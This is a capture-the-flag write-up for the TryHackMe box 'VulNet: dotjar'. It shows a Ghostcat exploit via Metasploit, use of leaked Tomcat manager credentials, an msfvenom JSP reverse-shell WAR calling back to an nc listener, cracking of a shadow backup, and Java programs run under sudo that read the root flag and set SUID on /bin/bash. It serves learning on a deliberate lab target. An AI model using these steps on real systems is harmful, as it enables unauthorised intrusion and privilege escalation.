VulNet: dotjar
“VulNet: dotjar” is a new CTF challenge hosted in TryHackMe created by TheCyb3rW0lf. It’s a pretty easy box and has got different ways to get root.
Scanning the box and Initial recon
First we need to discover what services are running and what ports are open. For that we can use nmap Aggressive scanning, that scans the first 1000 ports, scans for OS and service versions and performs a default script scan on the open ports using nmap -A 10.10.175.116
From this scan we can see that Apache Tomcat 9.0.30 is running with an exposed Apache Jserv port. This version happens to be vulnerable to the Ghostcat vulnerability which is a LFI vulnerability which can be converted to RCE if application upload is possible Now let’s visit the site hosted using tomcat. It’s just the default site with the manager is avaliable to us.
Exploiting the vulnerability
Let’s fire up metasploit and we can find that auxiliary/admin/http/tomcat_ghostcat
as a Ghostcat exploit. Let’s load it up
use auxiliary/admin/http/tomcat_ghostcat
set RPORT 8009
set RHOSTS 10.10.23.194
run
This will run the exploit and read the /WEB-INF/web.xml file, as a test for exploit sucess. Immediately we can see a internal notice for the company’s employees and along with that some credentials
I don’t know what those credentials for, but since the only service is Apache Tomcat, we can check to see if it’s for the manager application. Now we need to remember apache tomcat has 2 types of manager interfaces avaliable:
- /manager/html: A HTML based GUI for Tomcat manager. Visited the page, try to log-in and we’ll be blocked
- /manager/text: A text based interface for Tomcat manager. Used
curl --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE=" http://10.10.23.194:8080/manager/text/list
and voila we get the list of application.
Thus, this credentials is for the Tomcat text manager interface.
When using the
Authorization: Basic
header, i.e HTTP basic authentication, we need Base64 encode the credential like:
Gaining shell
Now that I’ve access to the manager interface, let’s upload and deploy a reverse shell application. First let’s open a listener using nc -lvvp 4444
. This will recieve the reverse shell connection. Now, we can msfvenom to generate the WAR file using
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your tun0 IP> LPORT=4444 -f war -o reverse.war`.
Let’s now deploy the reverse shell to the server. We can again use curl for this:
curl --upload-file reverse.war --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE=" "http://10.10.23.194:8080/manager/text/deploy?path=/reverse"
Verify if the application has been deployed using
curl --header "Authorization: Basic d2ViZGV2OkhnajNMQSQwMkQkRmFAMjE=" http://10.10.23.194:8080/manager/text/list
Now that I’ve the listener running and the reverse shell deployed at /reverse, I can get the initial shell by visiting the endpoint.
Horizontal Privilege Escalation and User flag
Now that I have a shell on the box, let’s see the user and the permission I’ve on the box.
Now it’s time to enumerate the box and find the vulnerabilities. For this purpose I choose LinPEAS. It found a very interesting backup.
Let’s unzip and see what’s in it. Copy the file /var/backups/shadow-backup-alt.gz into a temp directory and unzip it. And as I suspected from the name, it has a backup of /etc/shadow file.
Let’s crack the hashes. Since we have the hashes of the new user jdk-admin, copy it to a file in the attacking machine and let’s run hashcat (Since I’ve already cracked the hash, I don’t need to do it again)
And by that we’ve the password to login to jdk-admin and check out the new user’s groups.
Great now we have a user with sudo permissions and flag in /home/jdk-admin/user.txt
Gainning root access using Java
For this there are many way to get the root flag. Following are the methods I tried
Root reverse shell
This was my first method, to try and get a reverse shell with root permission. Without going into much details, I can say this method fails because the jdk doesn’t seems to allocate enough heap memory for the process to work
Reading the root flag out
To use this method first create a directory structure that matches the class name of the file. I choose com/reverse/command/Main.java. The compiled the class using javac com/reverse/command/Main.java
.
Since the sudo permission is only for JAR files, I created one using jar cfe Reverse.jar com.reverse.command.Main com/reverse/command/Main.class
And by that we have the exploit jar file. Run it as sudo /usr/bin/java -jar Reverse.jar
.
This would read out the entire root flag for us.
The exploit code is as follows
ckage com.reverse.command;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/cat", "/root/root.txt");
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("\nExited with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
Chainging shell’s permission
This method is similar to the method described above with the difference being that I’m making the /bin/bash file a SUID binary. The JAR creation is exactly same and running the exploit is same too. The exploit code is given here
package com.reverse.command;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("/bin/chmod", "+s", "/bin/bash");
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("\nExited with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
Now let’s compile and run the JAR and see if the /bin/bash permissions change or not
And yes it does. Now I’ll log into the root shell using bash -p and get the root flag